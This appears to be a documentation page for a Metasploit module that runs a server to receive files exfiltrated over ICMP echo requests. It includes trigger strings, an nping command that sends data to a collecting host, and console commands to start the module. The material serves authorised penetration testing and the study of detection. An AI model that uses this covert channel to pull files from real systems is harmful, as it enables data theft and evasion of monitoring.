ICMP Exfiltration Service

Created

Description

This module is designed to provide a server-side component to receive and store files exfiltrated over ICMP echo request packets. To use this module you will need to send an initial ICMP echo request containing the specific start trigger (defaults to '^BOF') this can be followed by the filename being sent (or a random filename can be assigned). All data received from this source will automatically be added to the receive buffer until an ICMP echo request containing a specific end trigger (defaults to '^EOL') is received. Suggested Client: Data can be sent from the client using a variety of tools. One such example is nping (included with the NMAP suite of tools) - usage: nping --icmp 10.0.0.1 --data-string "BOFtest.txt" -c1

Module Options

To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':

msf > use auxiliary/server/icmp_exfil
msf auxiliary(icmp_exfil) > show actions
    ...actions...
msf auxiliary(icmp_exfil) > set ACTION < action-name >
msf auxiliary(icmp_exfil) > show options
    ...show and set options...
msf auxiliary(icmp_exfil) > run 

Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
